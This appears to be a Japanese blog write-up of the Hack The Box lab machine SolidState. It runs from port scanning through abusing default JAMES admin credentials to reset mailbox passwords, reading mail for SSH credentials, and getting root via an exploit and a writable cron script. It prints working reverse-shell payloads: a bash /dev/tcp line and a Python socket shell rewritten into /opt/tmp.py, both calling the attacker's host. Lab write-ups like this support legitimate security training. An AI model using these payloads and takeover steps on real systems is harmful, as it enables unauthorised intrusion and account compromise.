HTB SolidState writeup

1. Reconnaissance

portscan

TCP

$ nmap -T4 -p- --min-rate 1000 -v $IP
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

UDP（使用頻度上位100ポートを調査）

$ nmap -sU -T4 --top-ports 100 -v $IP
PORT      STATE         SERVICE
19/udp    open|filtered chargen
68/udp    open|filtered dhcpc
631/udp   open|filtered ipp
1900/udp  open|filtered upnp
5353/udp  open|filtered zeroconf
32768/udp open|filtered omad
49152/udp open|filtered unknown

TCP+UDP（検出ポートのみ詳細を調査）

$ nmap -sCV --script=vuln -v -p22,25,80,110,119,4555 $IP
| http-enum:
|   /README.txt: Interesting, a readme.
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'

$ nmap --script="http* and (safe or default)" -v -p80 $IP
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-grep:
|   (1) http://10.129.33.134:80/:
|     (1) email:
|       + webadmin@solid-state-security.com
|   (1) http://10.129.33.134:80/assets/js/:
|     (1) ip:
|_      + 10.129.33.134

$ nmap --script="smtp* and (safe or default)" -v -p25 $IP
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-commands: Couldn't establish connection on port 25

$ nmap --script="pop* and (safe or default)" -v -p110 $IP
PORT    STATE SERVICE
110/tcp open  pop3
| pop3-brute:
|   Accounts: No valid accounts found
|   Statistics: Performed 5 guesses in 30 seconds, average tps: 0.2
|_  ERROR: Failed to connect.

$ nmap -sU -sCV -v -p22,25,80,110,119,4555 $IP
-> 特になし

80/tcp

サイト訪問

とりあえずブラウザで閲覧してみる。

どんなサイト？
- 会社のホムペ
拡張子はなにか → ffufで使用
- html
CMSは使われているか → wig
- なさそう
入力欄はあるか → Web脆弱性（XSS, SQLiなど）
- contact欄がある
  - postでindex.htmlにメールアドレスとか投げてる

Directory Scan

侵入に使えそうな情報は見当たらない。Web経由の侵入の線は薄い？

$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$IP/FUZZ -e .php,.bak,.old,.zip,.txt,.html
LICENSE.txt             [Status: 200, Size: 17128, Words: 2798, Lines: 64, Duration: 104ms]
README.txt              [Status: 200, Size: 963, Words: 110, Lines: 34, Duration: 104ms]
about.html              [Status: 200, Size: 7183, Words: 680, Lines: 130, Duration: 159ms]
assets                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 107ms]
images                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 121ms]
index.html              [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 105ms]
index.html              [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 179ms]
server-status           [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 107ms]
services.html           [Status: 200, Size: 8404, Words: 856, Lines: 131, Duration: 106ms]

$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://$IP/FUZZ
images                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 103ms]
assets                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 103ms]
server-status           [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 113ms]

$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://$IP/FUZZ
index.html              [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 103ms]
.                       [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 158ms]
about.html              [Status: 200, Size: 7183, Words: 680, Lines: 130, Duration: 115ms]
services.html           [Status: 200, Size: 8404, Words: 856, Lines: 131, Duration: 103ms]

25/tcp smtp

smtpの情報を得ようとしたがそもそも接続確立できなかった

$ nc -vn $IP 25
(UNKNOWN) [10.129.33.134] 25 (smtp) open
^C

$ nmap -p25 --script smtp-commands $IP
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-commands: Couldn't establish connection on port 25

$ nmap -p25 --script smtp-open-relay $IP -v
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Couldn't establish connection on port 25

$ nmap -p25 --script smtp-enum-users $IP -v
PORT   STATE SERVICE
25/tcp open  smtp
| smtp-enum-users:
|_  Couldn't establish connection on port 25

110/tcp pop3

pop3も同様

$ nc -nv $IP 110
(UNKNOWN) [10.129.33.134] 110 (pop3) open
^C

$ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p110 $IP
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-01 23:25 JST
Nmap scan report for 10.129.33.134
Host is up (0.11s latency).

PORT    STATE SERVICE VERSION
110/tcp open  pop3?

119/tcp nntp

ncで接続。出力を見るに、以下のサービスがターゲット上で稼働していそう。

Apache James
Apache Avalon

各ユーザのニュースを確認してみたが、何のデータも残っていなかった。

$ nc -n $IP 119
200 solidstate NNTP Service Ready, posting permitted
list
215 list of newsgroups follows
org.apache.james.dev 0 0 y
org.apache.avalon.dev 0 0 y
org.apache.avalon.user 0 0 y
org.apache.james.user 0 0 y
.
group org.apache.james.dev
211 0 0 0 org.apache.james.dev group selected
article
420 no current article selected
listgroup
211 list of article numbers follow
.
listgroup org.apache.james.dev
211 list of article numbers follow
.
group org.apache.avalon.dev
211 0 0 0 org.apache.avalon.dev group selected
listgroup
211 list of article numbers follow
.
group org.apache.avalon.user
211 0 0 0 org.apache.avalon.user group selected
listgroup
211 list of article numbers follow
.
group org.apache.james.user
211 0 0 0 org.apache.james.user group selected
listgroup
211 list of article numbers follow
.
post
340 send article to be posted. End with <CR-LF>.<CR-LF>
hoge
hoge

4555/tcp rsip

JAMES Remote Administration Tool 2.3.2
- デフォルト認証情報のroot:rootでログイン可能

$ nc -n $IP 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands

HELP
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

ドンピシャなRCEがあった

Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
- https://www.exploit-db.com/exploits/50347

$ python3 james.py $IP 10.10.16.187 1234
[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/10.10.16.187/1234 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 1234
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 1234 before logging in!

しかし、何かしらのユーザでSSHログインしないと、リバースシェルペイロードは発火しない。つまり初期侵入には使えない。

2. Initial Access

どう攻めるか

Reconの結果をまとめる

22/tcp open ssh
- 認証情報がないので今調べるポートではない
25/tcp open smtp
- 接続できなさそう
80/tcp open http
- 手がかりがないのでweb経由の侵入の線は薄そう
110/tcp open pop3
- 接続できなさそう
- 受信メールに重要な情報があるかも
119/tcp open nntp
- そもそもプロトコル自体の情報があまり転がっていないため、調査は難しい
  - Reconで調べた範囲では何のニュースもなかった
4555/tcp open rsip
- サービス名既知
- バージョン既知
- デフォルトクレデンシャルでログイン成功
- RCE脆弱性存在
  - ただし初期侵入には使えない
- PoCもある

以上より、まずは4555/tcpから調査するのがよさそう。
また、POP3に接続できれば各ユーザの受信メールも見られるので、確認したい。

change password for pop3

Jamesにはメールサーバのユーザパスワードを変更する機能がある。
これを使えば各ユーザでPOP3にログインし、受信メールを確認できる。

そこでJamesにroot:rootでログインし、全ユーザのパスワードを変更してみる。

$ nc -C $IP 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id: root
Password: root
Welcome root. HELP for a list of commands

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

setpassword james james
Password for james reset
setpassword thomas thomas
Password for thomas reset
setpassword john john
Password for john reset
setpassword mindy mindy
Password for mindy reset
setpassword mailadmin mailadmin
Password for mailadmin reset

先ほどパスワードを変えた全ユーザに対し、POP3でログインし、メールボックスの中身を確認する。その結果、5ユーザ中、以下の2ユーザでメールを確認できた。

john

$ nc -C $IP 110
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user john
+OK
pass john
+OK Welcome john

list
+OK 1 743
1 743
.

retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <john@localhost>;
          Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.

Respectfully,
James

.

mindy

$ nc -C $IP 110
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy
+OK
pass mindy
+OK Welcome mindy

list
1 1109
2 836
.

retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

Respectfully,
James
.

retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.

これで以下のクレデンシャルを得た。

mindy:P@55W0rd1!2@

mindyユーザでSSHログインするとユーザフラグが得られる。

$ ssh mindy@$IP
mindy@10.129.34.195's password: P@55W0rd1!2@
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

mindy@solidstate:~$ cat user.txt
486e0（略）

ただし、この方法で得られるシェルはrbash（制限付きbash）である。そのため、rbashから脱出する必要がある。

3. Privilege Escalation

james 2.3.2 RCE

Reconで発見した以下のExploitを実行し、リバースシェルを張ることでrbashから脱出する。

Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
- https://www.exploit-db.com/exploits/50347

(1) まず50347.pyを実行する

$ python3 50347.py $IP 10.10.16.187 1234
[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/10.10.16.187/1234 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 1234
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 1234 before logging in!

(2) nc -lnvp 1234で待ち受けておく

(3) そのうえでmindyとしてSSHログインするとペイロードが実行され、リバースシェルが得られる

上記手法で制限なしのシェルを取得できた。

pspy

まずよくある権限昇格ポイントを調べてみたが全滅。

sudo -lは使えない
findでSUIDも調べたが変なスクリプトはなかった
cron周りのファイルにもとくに情報はない

次にpspy32sを実行し、定期実行されているプロセスを確認する。以下抜粋

2026/05/03 20:57:01 CMD: UID=0     PID=3785   | /usr/sbin/CRON -f
2026/05/03 20:57:01 CMD: UID=0     PID=3787   | python /opt/tmp.py
2026/05/03 20:57:01 CMD: UID=0     PID=3786   | /bin/sh -c python /opt/tmp.py
2026/05/03 20:57:01 CMD: UID=0     PID=3788   | sh -c rm -r /tmp/*
2026/05/03 20:57:01 CMD: UID=0     PID=3789   | rm -r /tmp/*

上記より、/opt/tmp.pyがroot権限で定期実行されていることがわかる。つまり、tmp.pyを書き換えできれば、root権限で任意コード実行が可能である。

/opt/tmp.py

tmp.pyの権限を調べると書き込み可能だったため、以下のリバースシェルに書き換えてみる。

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.187",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/sh")

ncで待ち受け、少々待機するとrootシェルが得られる。

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.187] from (UNKNOWN) [10.129.34.195] 59128
# cat root.txt
a249（略）

まとめ

user: pop3 pass change by james -> login pop3 and get cred -> login mindy via ssh
root: pspy -> rewrite /opt/tmp.py

日記

日本語の勉強のためのブログ

HTB SolidState writeup

1. Reconnaissance

portscan

80/tcp

サイト訪問

Directory Scan

25/tcp smtp

110/tcp pop3

119/tcp nntp

4555/tcp rsip

2. Initial Access

どう攻めるか

change password for pop3

3. Privilege Escalation

james 2.3.2 RCE

pspy

/opt/tmp.py

まとめ

1. Reconnaissance

portscan

80/tcp

サイト訪問

Directory Scan

25/tcp smtp

110/tcp pop3

119/tcp nntp

4555/tcp rsip

2. Initial Access

どう攻めるか

change password for pop3

login pop3

login via ssh by mindy

3. Privilege Escalation

james 2.3.2 RCE

pspy

/opt/tmp.py

まとめ